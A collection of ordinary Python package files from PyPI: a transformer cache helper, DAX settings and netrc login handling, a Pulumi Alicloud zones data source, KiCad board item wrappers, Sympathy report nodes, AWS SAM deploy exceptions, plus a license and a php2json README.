past_tuples = ()
half_idx = len(past_key_values) // 2
for i in range(len(past_key_values) // 4):
idx = 2 * i
past_tuples += (
(
past_key_values[idx],
past_key_values[idx + 1],
past_key_values[half_idx + idx],
past_key_values[half_idx + idx + 1],
),
)
return past_tuples
@staticmethod
def group_by_self_and_cross(present_key_values: Tuple[torch.Tensor], concat: bool = False):
"""Categorize present_key_values into self and cross attention.
Split present state from grouped by layer to grouped by self/cross attention.
Before: (past_key_self_0, past_value_self_0, past_key_cross_0, past_value_cross_0),
(past_key_self_1, past_value_self_1, past_key_cross_1, past_value_cross_1), ...
After: (past_key_self_0, past_value_self_0, past_key_self_1, past_value_self_1, ...),
(past_key_cross_0, past_value_cross_0, past_key_cross_1, past_value_cross_1, ...)
Args:
present_key_values: From past_key_values of a model (group by layer)
concat: If concat self attention with cross attention key/value to return
Returns:
present_self (Tuple[torch.Tensor]): present key and values from self attention
present_cross (Tuple[torch.Tensor]): present key and values from cross attention
"""
present_self: List[torch.Tensor] = []
present_cross: List[torch.Tensor] = []
for _, present_layer_i in enumerate(present_key_values):
assert len(present_layer_i) == 4, f"Expected to have four items. Got {len(present_layer_i)}"
present_key_self, present_value_self, present_key_cross, present_value_cross = present_layer_i
present_self.extend([present_key_self, present_value_self])
present_cross.extend([present_key_cross, present_value_cross])
if concat:
return present_self + present_cross
else:
return present_self, present_cross
@staticmethod
def get_input_names(past_key_values: Tuple[Tuple[torch.Tensor]], encoder=True):
"""Process input names of model wrapper.
Args:
past_key_values: Consider `self` and `cross` past_key_values
Returns:
names (List[string]): input names
"""
names = []
num_layers = len(past_key_values) // 4 if encoder else len(past_key_values)
prefix = "past_" if not encoder else "present_"
for i in range(num_layers):
names.extend([prefix + s for s in [f"key_self_{i}", f"value_self_{i}"]])
for i in range(num_layers):
names.extend([prefix + s for s in [f"key_cross_{i}", f"value_cross_{i}"]])
return names
|
PypiClean
|
/ldax-0.7.10.tar.gz/ldax-0.7.10/dax/dax_settings.py
|
from future import standard_library
standard_library.install_aliases()
from builtins import object
from collections import OrderedDict
import configparser
from importlib import import_module
import os
import stat
from string import Template
import sys
import netrc
from .errors import DaxNetrcError
__copyright__ = 'Copyright 2013 Vanderbilt University. All Rights Reserved'
__all__ = ["DAX_Netrc", "DAX_Settings", "DEFAULT_DATATYPE",
"DEFAULT_FS_DATATYPE"]
DEFAULT_TEMPLATE = Template("""echo """)
FILES_OPTIONS = ['cmd_count_nb_jobs', 'cmd_get_job_status',
'cmd_get_job_memory', 'cmd_get_job_walltime',
'cmd_get_job_node', 'job_template']
# Assessor datatypes
DEFAULT_FS_DATATYPE = 'fs:fsData'
DEFAULT_DATATYPE = 'proc:genProcData'
DAX_MANAGER_DEFAULTS = OrderedDict([
('api_url', ''),
('api_key_dax', ''),
('project', 'dax_project'),
('settingsfile', 'dax_settings_full_path'),
('masimatlab', 'dax_masimatlab'),
('tmp', 'dax_tmp_directory'),
('logsdir', 'dax_logs_path'),
('user', 'dax_cluster_user'),
('gateway', 'dax_gateway'),
('email', 'dax_cluster_email'),
('queue', 'dax_queue_limit'),
('priority', 'dax_proj_order'),
('email_opts', 'dax_job_email_options'),
('dax_build_start_date', 'dax_build_start_date'),
('dax_build_end_date', 'dax_build_end_date'),
('dax_build_pid', 'dax_build_pid'),
('dax_update_tasks_start_date', 'dax_update_tasks_start_date'),
('dax_update_tasks_end_date', 'dax_update_tasks_end_date'),
('dax_update_tasks_pid', 'dax_update_tasks_pid'),
('dax_launch_start_date', 'dax_launch_start_date'),
('dax_launch_end_date', 'dax_launch_end_date'),
('dax_launch_pid', 'dax_launch_pid'),
('max_age', 'dax_max_age'),
('admin_email', 'dax_email_address')])
class DAX_Netrc(object):
"""Class for DAX NETRC file containing the information about XNAT logins.
"""
def __init__(self):
self.netrc_file = os.path.join(os.path.expanduser('~'), '.daxnetrc')
if not os.path.exists(self.netrc_file):
open(self.netrc_file, 'a').close()
# Setting mode for the file:
os.chmod(self.netrc_file, stat.S_IWUSR | stat.S_IRUSR)
self.is_secured()
self.netrc_obj = netrc.netrc(self.netrc_file)
def is_secured(self):
""" Check if file is secure."""
st = os.stat(self.netrc_file)
grp_access = bool(st.st_mode & stat.S_IRWXG)
other_access = bool(st.st_mode & stat.S_IRWXO)
if grp_access or other_access:
msg = 'Wrong permission on %s file. Only you should have read and \
write access.'
raise DaxNetrcError(msg % self.netrc_file)
def is_empty(self):
""" Return True if no host stored."""
return len(list(self.netrc_obj.hosts.keys())) == 0
def has_host(self, host):
""" Return True if host present."""
return host in list(self.netrc_obj.hosts.keys())
def add_host(self, host, user, pwd):
""" Adding host to daxnetrc file."""
netrc_template = """machine {host}
login {user}
password {pwd}
"""
with open(self.netrc_file, "a") as f_netrc:
lines = netrc_template.format(host=host, user=user, pwd=pwd)
f_netrc.writelines(lines)
def get_hosts(self):
""" Rerutn list of hosts from netrc file."""
return list(self.netrc_obj.hosts.keys())
def get_login(self, host):
""" Getting login for an host from daxnetrc file."""
netrc_info = self.netrc_obj.authenticators(host)
if not netrc_info:
raise DaxNetrcError('Host <%s> not found in %s file. \
Please run dax_setup or XnatCheckLogin to add host.' % (host, self.netrc_file))
return netrc_info[0], netrc_info[2]
class DAX_Settings(object):
"""Class for DAX settings based on INI file.
Note that dax_settings should be in the home directory.
"""
def __init__(self, ini_settings_file=os.path.join(os.path.expanduser('~'),
'.dax_settings.ini')):
"""Entry Point for Class Dax_settings."""
# Variables
self.ini_settings_file = ini_settings_file
self.config_parser = configparser.SafeConfigParser(allow_no_value=True)
if self.exists():
self.__read__()
else:
sys.stdout.write('Warning: No settings.ini file found.')
def exists(self):
"""Check if ini file exists.
:return: True if exists, False otherwise
"""
return os.path.isfile(self.ini_settings_file)
def __read__(self):
"""Read the configuration file.
:except: ConfigParser.MissingSectionHeaderError if [ or ] is missing
:return: None. config_parser is read in place
"""
try:
self.config_parser.read(self.ini_settings_file)
except configparser.MissingSectionHeaderError as MSHE:
self._print_error_as_warning('Missing header bracket detected. '
'Please check your file.\n', MSHE)
def is_cluster_valid(self):
"""Check cluster section.
:return: True if valid settings, False otherwise
"""
if self.config_parser.has_section('cluster'):
for option in FILES_OPTIONS:
file_path = self.config_parser.get('cluster', option)
if not file_path:
sys.stdout.write('Warning: option \
%s not set in settings.\n' % (option))
return False
elif not os.path.isfile(file_path):
sys.stdout.write('Warning: %s not found for option \
%s in settings.\n' % (file_path, option))
return False
else:
return False
return True
def load_code_path(self):
"""Check code_path section.
Try to load all the files in the folder.
If it fails, print warning (need to fix the spider/processor/module).
:return: None
"""
if self.config_parser.has_section('code_path'):
for option in self.config_parser.options('code_path'):
dir_path = self.config_parser.get('code_path', option)
if os.path.isdir(dir_path):
li_files = list()
for root, _, fnames in os.walk(dir_path):
li_files.extend([os.path.join(root, f) for f in fnames
if f.lower().endswith('.py')])
for python_file in li_files:
self.load_python_file(python_file)
def load_python_file(self, python_file):
"""Load python file from processors/spiders/modules files."""
filename = os.path.basename(python_file.lower())
if 'processor' in filename or\
'module' in filename or\
'spider' in filename:
init_dir = os.getcwd()
os.chdir(os.path.dirname(python_file))
try:
import_module(os.path.basename(python_file)[:-3])
except Exception as e:
sys.stdout.write('Warning: Failed to load %s because %s.\n'
% (os.path.basename(python_file), e))
os.chdir(init_dir)
def is_dax_manager_valid(self):
"""Check dax_manager section.
Check that all the options are present.
Check that the option api_url and api_key_dax are not None.
:return: True if valid settings, False otherwise
"""
if self.config_parser.has_section('dax_manager'):
for option in list(DAX_MANAGER_DEFAULTS.keys()):
if option not in self.config_parser.options('dax_manager'):
sys.stderr.write('Error: %s option missing in \
~/.dax_settings.ini.\n'
% option)
return False
if not self.get('dax_manager', 'api_url') and \
not self.get('dax_manager', 'api_key_dax'):
sys.stderr.write('Error: api_url or api_key_dax not set in \
~/.dax_settings.ini.\n')
return False
else:
return False
return True
def get(self, header, key):
"""Public getter for any key.
Checks to see it's defined and gets the value
:param header: The header section that is associated with the key
:param key: String which is a key to to a variable in the ini file
:except: ConfigParser.NoOptionError if the option does not exist
:except: ConfigParser.NoSectionError if the section does not exist
:return: The value of the key. If key not found, none
"""
value = None
try:
value = self.config_parser.get(header, key)
except configparser.NoOptionError as NOE:
self._print_error_as_warning('No option %s found in header %s'
% (key, header), NOE)
except configparser.NoSectionError as NSE:
self._print_error_as_warning('No header %s found in config file %s'
% (header, self.ini_settings_file),
NSE)
if value == '':
value = None
return value
def iterate_options(self, header, option_list):
"""Iterate through the keys to get the values and get a dict out.
:param header: String of the name of the header that has the options
to get values for
:param option_list: list of options mapped to the current status of
the config_parser
:return: dict mapping the key/value pairs
"""
dict_out = dict()
for option in option_list:
dict_out[option] = self.get(header, option)
return dict_out
def get_cluster_config(self):
"""Method to get all of the key value pairs for the cluster section.
:return: A dictionary of key value pairs for the cluster section
"""
opts = self.config_parser.options('cluster')
return self.iterate_options('cluster', opts)
def get_admin_config(self):
"""Method to get all of the key value pairs for the admin section.
:return: A dictionary of key value pairs for the admin section
"""
opts = self.config_parser.options('admin')
return self.iterate_options('admin', opts)
def get_code_path_config(self):
"""Method to get all of the key value pairs for the code_path section.
:return: A dictionary of key value pairs for the code_path section
"""
opts = self.config_parser.options('code_path')
return self.iterate_options('code_path', opts)
def get_dax_manager_config(self):
"""Method to get all of the key value pairs for the dax_manager section.
:return: A dictionary of key value pairs for the dax_manager data
dictionary, None if self.using_dax_manger is False
"""
opts = self.config_parser.options('dax_manager')
return self.iterate_options('dax_manager', opts)
def _print_error_as_warning(self, simple_message, exception):
"""Print an error and exit out of DAX settings.
Allow the user to print a (hopefully) simpler error message
followed by the exception.message
:param simple_message: String of a simple message to print
:param exception: The Exception object that was raised
:return: None
"""
sys.stdout.write('Warning: %s %s\n' % (self.ini_settings_file,
simple_message))
# sys.stdout.write('Caught exception %s with message:\n %s'
# % (exception.__class__, exception.message))
# Begin public getters for all values
# -- ADMIN section
def get_user_home(self):
"""Get the user_home value from the admin section.
If ~, return os.path.expanduser('~')
:return: String of the user_home, None if empty
"""
user_home = self.get('admin', 'user_home')
if user_home == '~':
return os.path.expanduser('~')
else:
return user_home
def get_admin_email(self):
"""Get the admin_email value from the admin section.
:return: String of the admin_email, None if emtpy
"""
return self.get('admin', 'admin_email')
def get_smtp_host(self):
"""Get the smtp_host value from the admin section.
:return: String of the smtp_host, None if emtpy
"""
return self.get('admin', 'smtp_host')
def get_smtp_from(self):
"""Get the smtp_from value from the admin section.
:return: String of the smtp_from value, None if emtpy
"""
return self.get('admin', 'smtp_from')
def get_smtp_pass(self):
"""Get the smtp_pass value from the admin section.
:return: String of the smtp_pass value, None if empty
"""
return self.get('admin', 'smtp_pass')
def get_xsitype_include(self):
"""Get the xsitype_include value from the admin section.
:return: List of xsitypes for DAX to check for
"""
xsitype = self.get('admin', 'xsitype_include')
if xsitype:
return xsitype.split(',')
else:
return []
# Begin cluster section
def get_cmd_submit(self):
"""Get the cmd_submit value from the cluster section.
:return: String of the cmd_submit value, None if empty
"""
return self.get('cluster', 'cmd_submit')
def get_prefix_jobid(self):
"""Get the prefix_jobid value from the cluster section.
:return: String of the prefix_jobid value, None if empty
"""
return self.get('cluster', 'prefix_jobid')
def get_suffix_jobid(self):
"""Get the suffix_jobid value from the cluster section.
:return: String of the suffix_jobid value, None if empty
"""
return self.get('cluster', 'suffix_jobid')
def get_cmd_count_nb_jobs(self):
"""Get the cmd_count_nb_jobs value from the cluster section.
NOTE: This should be a relative path to a file up a directory
in templates
:raise: OSError if the field is empty or if the file doesn't exist
:return: String of the command
"""
filepath = self.get('cluster', 'cmd_count_nb_jobs')
if filepath is None:
return ''
if filepath.startswith('~/'):
filepath = os.path.join(self.get_user_home(), filepath)
if not os.path.isfile(filepath):
return ''
return self.read_file_and_return_string(filepath)
def get_cmd_get_job_status(self):
"""Get the cmd_get_job_status value from the cluster section.
NOTE: This should be a relative path to a file up a directory
in templates
:raise: OSError if the field is empty or if the file doesn't exist
:return: Template class of the file containing the command
"""
filepath = self.get('cluster', 'cmd_get_job_status')
if filepath is None:
return ''
if filepath.startswith('~/'):
filepath = os.path.join(self.get_user_home(), filepath)
if not os.path.isfile(filepath):
return ''
return self.read_file_and_return_template(filepath)
def get_queue_status(self):
"""Get the queue_status value from the cluster section.
:return: String of the queue_status value, None if empty
"""
return self.get('cluster', 'queue_status')
def get_running_status(self):
"""Get the running_status value from the cluster section.
:return: String of the running_status value, None if empty
"""
return self.get('cluster', 'running_status')
def get_complete_status(self):
"""Get the complete_status value from the cluster section.
:return: String of the complete_status value, None if empty
"""
return self.get('cluster', 'complete_status')
def get_cmd_get_job_memory(self):
"""Get the cmd_get_job_memory value from the cluster section.
NOTE: This should be a relative path to a file up a directory
in templates
:raise: OSError if the field is empty or if the file doesn't exist
:return: Template class of the file containing the command
"""
filepath = self.get('cluster', 'cmd_get_job_memory')
if filepath is None: # no files specify, set to echo
return DEFAULT_TEMPLATE
if filepath.startswith('~/'):
filepath = os.path.join(self.get_user_home(), filepath)
if not os.path.isfile(filepath):
return ''
return self.read_file_and_return_template(filepath)
def get_cmd_get_job_walltime(self):
"""Get the cmd_get_job_walltime value from the cluster section.
NOTE: This should be a relative path to a file up a directory
in templates
:raise: OSError if the field is empty or if the file doesn't exist
:return: Template class of the file containing the command
"""
filepath = self.get('cluster', 'cmd_get_job_walltime')
if filepath is None: # no files specify, set to echo
return DEFAULT_TEMPLATE
if filepath.startswith('~/'):
filepath = os.path.join(self.get_user_home(), filepath)
if not os.path.isfile(filepath):
return ''
return self.read_file_and_return_template(filepath)
def get_cmd_get_job_node(self):
"""Get the cmd_get_job_node value from the cluster section.
NOTE: This should be a relative path to a file up a directory
in templates
:raise: OSError if the field is empty or if the file doesn't exist
:return: Template class of the file containing the command
"""
filepath = self.get('cluster', 'cmd_get_job_node')
if filepath is None: # no files specify, set to echo
return DEFAULT_TEMPLATE
if filepath.startswith('~/'):
filepath = os.path.join(self.get_user_home(), filepath)
if not os.path.isfile(filepath):
return ''
return self.read_file_and_return_template(filepath)
def get_job_extension_file(self):
"""Get the job_extension_file value from the cluster section.
:return: String of the job_extension_file value, None if empty
"""
return self.get('cluster', 'job_extension_file')
def get_job_template(self):
"""Get the job_template value from the cluster section.
NOTE: This should be a relative path to a file up a directory
in templates
:raise: OSError if the field is empty or if the file doesn't exist
:return: Template class of the file containing the command
"""
filepath = self.get('cluster', 'job_template')
if filepath is None:
return ''
if filepath.startswith('~/'):
filepath = os.path.join(self.get_user_home(), filepath)
if not os.path.isfile(filepath):
return ''
return self.read_file_and_return_template(filepath)
def get_email_opts(self):
"""Get the email_opts value from the cluster section.
:return: String of the email_opts value, None if empty
"""
return self.get('cluster', 'email_opts')
def get_gateway(self):
"""Get the gateway value from the cluster section.
:return: String of the gateway value, None if empty
"""
return self.get('cluster', 'gateway')
def get_root_job_dir(self):
"""Get the root_job_dir value from the cluster section.
:return: String of the root_job_dir value, None if empty
"""
return self.get('cluster', 'root_job_dir')
def get_queue_limit(self):
"""Get the queue_limit value from the cluster section.
:return: int of the queue_limit value, None if empty
"""
if self.get('cluster', 'queue_limit'):
return int(self.get('cluster', 'queue_limit'))
else:
return 14
def get_results_dir(self):
"""Get the results_dir value from the cluster section.
:return: String of the results_dir value, None if empty
"""
resultsdir = self.get('cluster', 'results_dir')
if resultsdir is None:
resultsdir = '/tmp'
if resultsdir.startswith('~'):
return os.path.join(os.path.expanduser('~'), resultsdir[2:])
else:
return resultsdir
def get_max_age(self):
"""Get the max_age value from the cluster section.
:return: int of the max_age value, None if empty
"""
return int(self.get('cluster', 'max_age'))
def get_skip_lastupdate(self):
"""Get the skip_lastupdate value from the cluster section.
:return: skip_lastupdate value
"""
return self.get('cluster', 'skip_lastupdate')
def get_launcher_type(self):
"""
Get the launcher type from the cluster
:return: String of the launcher type: xnatq-combined, diskq-xnat,
diskq-cluster
"""
return self.get('cluster', 'launcher_type')
def get_api_url(self):
"""Get the api_url value from the dax_manager section.
:return: String of the api_url value, None if empty
"""
return self.get('dax_manager', 'api_url')
def get_api_key_dax(self):
"""Get the api_key_dax value from the dax_manager section.
:return: String of the api_key_dax value, None if empty
"""
return self.get('dax_manager', 'api_key_dax')
@staticmethod
def read_file_and_return_template(filepath):
"""Reads a a file and returns the string as a string Template.
:param filepath: the file to read, already checked for existance
:raise: OSError if the file is emtpy
:return: Template for the command in the file
"""
with open(filepath, 'r') as f:
data = f.read()
if data is None or data == '':
return ''
return Template(data)
@staticmethod
def read_file_and_return_string(filepath):
"""Reads a a file and returns the string in it.
:param filepath: the file to read, already checked for existance
:raise: OSError if the file is emtpy
:return: String of data in text file
"""
with open(filepath, 'r') as f:
data = f.read()
if data is None or data == '':
return ''
return data
|
PypiClean
|
/pulumi_alicloud-3.44.0a1693632188.tar.gz/pulumi_alicloud-3.44.0a1693632188/pulumi_alicloud/eci/get_zones.py
|
import copy
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
__all__ = [
'GetZonesResult',
'AwaitableGetZonesResult',
'get_zones',
'get_zones_output',
]
@pulumi.output_type
class GetZonesResult:
"""
A collection of values returned by getZones.
"""
def __init__(__self__, id=None, output_file=None, zones=None):
if id and not isinstance(id, str):
raise TypeError("Expected argument 'id' to be a str")
pulumi.set(__self__, "id", id)
if output_file and not isinstance(output_file, str):
raise TypeError("Expected argument 'output_file' to be a str")
pulumi.set(__self__, "output_file", output_file)
if zones and not isinstance(zones, list):
raise TypeError("Expected argument 'zones' to be a list")
pulumi.set(__self__, "zones", zones)
@property
@pulumi.getter
def id(self) -> str:
"""
The provider-assigned unique ID for this managed resource.
"""
return pulumi.get(self, "id")
@property
@pulumi.getter(name="outputFile")
def output_file(self) -> Optional[str]:
return pulumi.get(self, "output_file")
@property
@pulumi.getter
def zones(self) -> Sequence['outputs.GetZonesZoneResult']:
return pulumi.get(self, "zones")
class AwaitableGetZonesResult(GetZonesResult):
# pylint: disable=using-constant-test
def __await__(self):
if False:
yield self
return GetZonesResult(
id=self.id,
output_file=self.output_file,
zones=self.zones)
def get_zones(output_file: Optional[str] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetZonesResult:
"""
This data source provides the available zones with the Application Load Balancer (ALB) Instance of the current Alibaba Cloud user.
> **NOTE:** Available in v1.145.0+.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default = alicloud.eci.get_zones()
pulumi.export("firstEciZonesId", default.zones[0].zone_ids[0])
```
:param str output_file: File name where to save data source results (after running `pulumi preview`).
"""
__args__ = dict()
__args__['outputFile'] = output_file
opts = pulumi.InvokeOptions.merge(_utilities.get_invoke_opts_defaults(), opts)
__ret__ = pulumi.runtime.invoke('alicloud:eci/getZones:getZones', __args__, opts=opts, typ=GetZonesResult).value
return AwaitableGetZonesResult(
id=pulumi.get(__ret__, 'id'),
output_file=pulumi.get(__ret__, 'output_file'),
zones=pulumi.get(__ret__, 'zones'))
@_utilities.lift_output_func(get_zones)
def get_zones_output(output_file: Optional[pulumi.Input[Optional[str]]] = None,
opts: Optional[pulumi.InvokeOptions] = None) -> pulumi.Output[GetZonesResult]:
"""
This data source provides the available zones with the Application Load Balancer (ALB) Instance of the current Alibaba Cloud user.
> **NOTE:** Available in v1.145.0+.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default = alicloud.eci.get_zones()
pulumi.export("firstEciZonesId", default.zones[0].zone_ids[0])
```
:param str output_file: File name where to save data source results (after running `pulumi preview`).
"""
...
|
PypiClean
|
/kicad-python-0.0.2.tar.gz/kicad-python-0.0.2/kicad/pcbnew/boarditem.py
|
from kicad.pcbnew.layer import Layer, LayerSet
from kicad._native import _pcbnew
def from_board_item(board_item):
item = board_item.Cast()
item_type = type(item)
if item_type is _pcbnew.TEXTE_PCB:
from kicad.pcbnew.text import Text
return Text(item)
elif item_type is _pcbnew.BOARD:
from kicad.pcbnew.board import Board
return Board(item)
elif item_type is _pcbnew.DIMENSION:
from kicad.pcbnew.dimension import Dimension
return Dimension(item)
elif item_type is _pcbnew.DRAWSEGMENT:
from kicad.pcbnew.drawsegment import Drawsegment
return Drawsegment.from_drawsegment(item)
elif item_type is _pcbnew.EDGE_MODULE:
raise NotImplementedError(item_type)
elif item_type is _pcbnew.MODULE:
from kicad.pcbnew.module import Module
return Module(item)
elif item_type is _pcbnew.D_PAD:
from kicad.pcbnew.pad import Pad
return Pad(item)
elif item_type is _pcbnew.TEXTE_MODULE:
from kicad.pcbnew.text import Text
return Text(item)
elif item_type is _pcbnew.VIA:
from kicad.pcbnew.text import Via
return Via(item)
elif item_type is _pcbnew.TRACK:
from kicad.pcbnew.track import Track
return Track(item)
elif item_type is _pcbnew.PCB_TARGET:
from kicad.pcbnew.pcbtarget import PcbTarget
return PcbTarget(item)
elif item_type is _pcbnew.ZONE_CONTAINER:
from kicad.pcbnew.zone import Zone
return Zone(item)
else:
raise NotImplementedError(item_type)
class BoardItem(object):
"""Create a new BoardItem object
:param board_item: already existing board_item object
:type board_item: :class:`pcbnew.BOARD_ITEM`
"""
def __init__(self, board_item):
assert isinstance(board_item, _pcbnew.BOARD_ITEM)
self._obj = board_item
def get_native(self):
"""Get native object from the low level API
:return: :class:`pcbnew.BOARD_ITEM`
"""
return self._obj
@property
def is_highlighted(self):
"""is highlighted?
:return: ``bool``
"""
return self._obj.IsHighlighted()
@is_highlighted.setter
def is_highlighted(self, is_highlighted):
assert type(is_highlighted) is bool
if is_highlighted:
self._obj.SetHighlighted()
else:
self._obj.ClearHighlighted()
@property
def is_locked(self):
"""is locked?
:return: ``bool``
"""
return self._obj.IsLocked()
@is_locked.setter
def is_locked(self, is_locked):
assert type(is_locked) is bool
self._obj.SetLocked(is_locked)
@property
def is_selected(self):
"""is selected?
:return: ``bool``
"""
return self._obj.IsSelected()
@is_selected.setter
def is_selected(self, is_selected):
assert type(is_selected) is bool
if is_selected:
self._obj.SetSelected()
else:
self._obj.ClearSelected()
@property
def layer(self):
"""primary layer of the item
:return: ``kicad.pcbnew.Layer``
"""
return Layer.from_id(self._obj.GetLayer())
@property
def layers(self):
"""All layers where the item is present on
:return: ``kicad.pcbnew.LayerSet``
"""
return LayerSet(self._obj.GetLayerSet())
def __eq__(self, other):
if not isinstance(self, other.__class__):
return False
if not isinstance(self._obj, other._obj.__class__):
return False
if self._obj == other._obj:
return True
if self.is_highlighted != other.is_highlighted:
return False
# now we will do some hack to check if the other object is actually the same. We know is_highlighted is the same
old_value = self.is_highlighted
self.is_highlighted = not self.is_highlighted
is_still_same = self.is_highlighted == other.is_highlighted # TODO: replace with something better
self.is_highlighted = old_value
return is_still_same
def __ne__(self, other):
return not self.__eq__(other)
def __hash__(self):
return hash(self.layers)
def __repr__(self):
return "kicad.pcbnew.boarditem.BoardItem({})".format(self._obj)
|
PypiClean
|
/Sympathy-4.0.1-py3-none-any.whl/sylib/nodes/sympathy/reporting/node_report_template.py
|
import json
from sympathy.api import node as synode
from sympathy.api.nodeconfig import Ports, Port, Tag, Tags
from sympathy.api import report
from sylib.report.gui import MainWindow
from sylib.report import data_manager
from sylib.report import models
class DataType(object):
adaf = 'adafs'
table = 'tables'
THUMBNAIL_WIDTH = 64
def common_execute(node, node_context, data_type):
# Read files and parameters
input_data = node_context.input[0]
report_json = node_context.parameters['document'].value
if report_json == '':
report_json = (
'{"scales": [], "signals": [], "version": 1, "type": "root", '
'"pages": [], "sytype": "report"}')
# Extract all input signals which were used.
report_data = json.loads(report_json)
data_manager.init_data_source(input_data, data_type)
report_data['signals'] = data_manager.data_source.signal_list()
# Get rid of those which has not been used at all.
report_data['signals'] = models.compress_signals(report_data)
output_report = node_context.output[0]
output_report.set(report_json)
def common_parameter_view(node_context, data_type):
input_tables = None
if node_context.input[0].is_valid():
input_tables = node_context.input[0]
return MainWindow(node_context.parameters, input_tables, data_type)
class ReportTemplateTables(synode.Node):
"""
Editor for designing a report template.
"""
name = 'Report Template Tables'
nodeid = 'org.sysess.sympathy.report.template.tables'
author = 'Stefan Larsson'
version = '1.0'
icon = 'report.svg'
tags = Tags(Tag.Visual.Report)
related = ['org.sysess.sympathy.report.template.adafs',
'org.sysess.sympathy.report.apply.tables']
inputs = Ports([Port.Tables(
'List of tables to use as source of data when building template',
name='tables')])
outputs = Ports([report.Report('Report Template', name='template')])
parameters = synode.parameters()
parameters.set_string(
'document',
value='',
label='Document',
description='JSON-data containing description of template.'
)
def execute(self, node_context):
common_execute(self, node_context, DataType.table)
def exec_parameter_view(self, node_context):
return common_parameter_view(node_context, DataType.table)
class ReportTemplateADAFs(synode.Node):
"""
Editor for designing a report template.
"""
name = 'Report Template ADAFs'
nodeid = 'org.sysess.sympathy.report.template.adafs'
author = 'Stefan Larsson'
version = '1.0'
icon = 'report.svg'
tags = Tags(Tag.Visual.Report)
related = ['org.sysess.sympathy.report.template.tables',
'org.sysess.sympathy.report.apply.adafs']
inputs = Ports([Port.ADAFs(
'List of ADAFs to use as source of data when building template',
name='adafs')])
outputs = Ports([report.Report(
'Template to be used by :ref:`Report Apply ADAFs` to generate output',
name='template')])
parameters = synode.parameters()
parameters.set_string(
'document',
value='',
label='Document',
description='JSON-data containing description of template.'
)
def execute(self, node_context):
common_execute(self, node_context, DataType.adaf)
def exec_parameter_view(self, node_context):
return common_parameter_view(node_context, DataType.adaf)
|
PypiClean
|
/gcbinspy-0.0.4-py3-none-any.whl/gcbinspy-0.0.4.dist-info/LICENSE.md
|
MIT License
Copyright (c) 2023 @poroping
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
|
PypiClean
|
/php2json-0.2-cp36-cp36m-manylinux1_x86_64.whl/php2json-0.2.dist-info/DESCRIPTION.rst
|
php2json
========
.. image:: https://travis-ci.org/mbachry/php2json.svg?branch=master
:alt: Build status
:target: https://travis-ci.org/mbachry/php2json
A small library that aims to provide a fast way of decoding PHP
serialization format. Use it if you need to migrate large amount of
PHP data and performance is essential.
The library provides only one function::
>>> import php2json
>>> php2json.php2json(b's:3:"foo";')
b'"foo"'
It's goal is to convert PHP serializer string into JSON string as fast
as possible. The assumption is that JSON decoders (such as standard
json module or `ujson`_) are much better optimized than
`phpserialize`_.
.. _ujson: https://pypi.python.org/pypi/ujson
.. _phpserialize: https://pypi.python.org/pypi/phpserialize/
Here's a simple benchmark where I pit phpserialize against php2json
combined with ujson and json::
phpserialize: 6.60s
php2json+ujson: 0.15s
php2json+json: 0.19s
speedup (ujson): 4337%
speedup (json): 3485%
Installation
------------
Install with::
pip install php2json
Tests
-----
Run test with::
pip install tox
make clean
tox .
Benchmark
---------
Run benchmark with::
pip install -r requirements-test.txt
make bench
Limitations
-----------
Few limitations apply:
* only deserialization is possible
* PHP objects are not supported
* behaviour is undefined in presence of unicode strings
* input data must adhere to JSON standards, most notably: array keys
must be strings or values easily convertible to strings (such as
integers)
|
PypiClean
|
/aws-sam-cli-without-docker-0.48.0.tar.gz/aws-sam-cli-without-docker-0.48.0/samcli/commands/deploy/exceptions.py
|
from samcli.commands.exceptions import UserException
class ChangeEmptyError(UserException):
def __init__(self, stack_name):
self.stack_name = stack_name
message_fmt = "No changes to deploy. Stack {stack_name} is up to date"
super(ChangeEmptyError, self).__init__(message=message_fmt.format(stack_name=self.stack_name))
class ChangeSetError(UserException):
def __init__(self, stack_name, msg):
self.stack_name = stack_name
self.msg = msg
message_fmt = "Failed to create changeset for the stack: {stack_name}, {msg}"
super(ChangeSetError, self).__init__(message=message_fmt.format(stack_name=self.stack_name, msg=self.msg))
class DeployFailedError(UserException):
def __init__(self, stack_name, msg):
self.stack_name = stack_name
self.msg = msg
message_fmt = "Failed to create/update the stack: {stack_name}, {msg}"
super(DeployFailedError, self).__init__(message=message_fmt.format(stack_name=self.stack_name, msg=msg))
class GuidedDeployFailedError(UserException):
def __init__(self, msg):
self.msg = msg
super(GuidedDeployFailedError, self).__init__(message=msg)
class DeployStackOutPutFailedError(UserException):
def __init__(self, stack_name, msg):
self.stack_name = stack_name
self.msg = msg
message_fmt = "Failed to get outputs from stack: {stack_name}, {msg}"
super(DeployStackOutPutFailedError, self).__init__(
message=message_fmt.format(stack_name=self.stack_name, msg=msg)
)
class DeployBucketInDifferentRegionError(UserException):
def __init__(self, msg):
self.msg = msg
message_fmt = "{msg} : deployment s3 bucket is in a different region, try sam deploy --guided"
super(DeployBucketInDifferentRegionError, self).__init__(message=message_fmt.format(msg=self.msg))
class DeployBucketRequiredError(UserException):
def __init__(self):
message_fmt = (
"Templates with a size greater than 51,200 bytes must be deployed "
"via an S3 Bucket. Please add the --s3-bucket parameter to your "
"command. The local template will be copied to that S3 bucket and "
"then deployed."
)
super(DeployBucketRequiredError, self).__init__(message=message_fmt)
|
PypiClean
|
/WebStar-0.1.3.tar.gz/WebStar-0.1.3/webstar/pattern.py
|
import hashlib
import re
from . import core
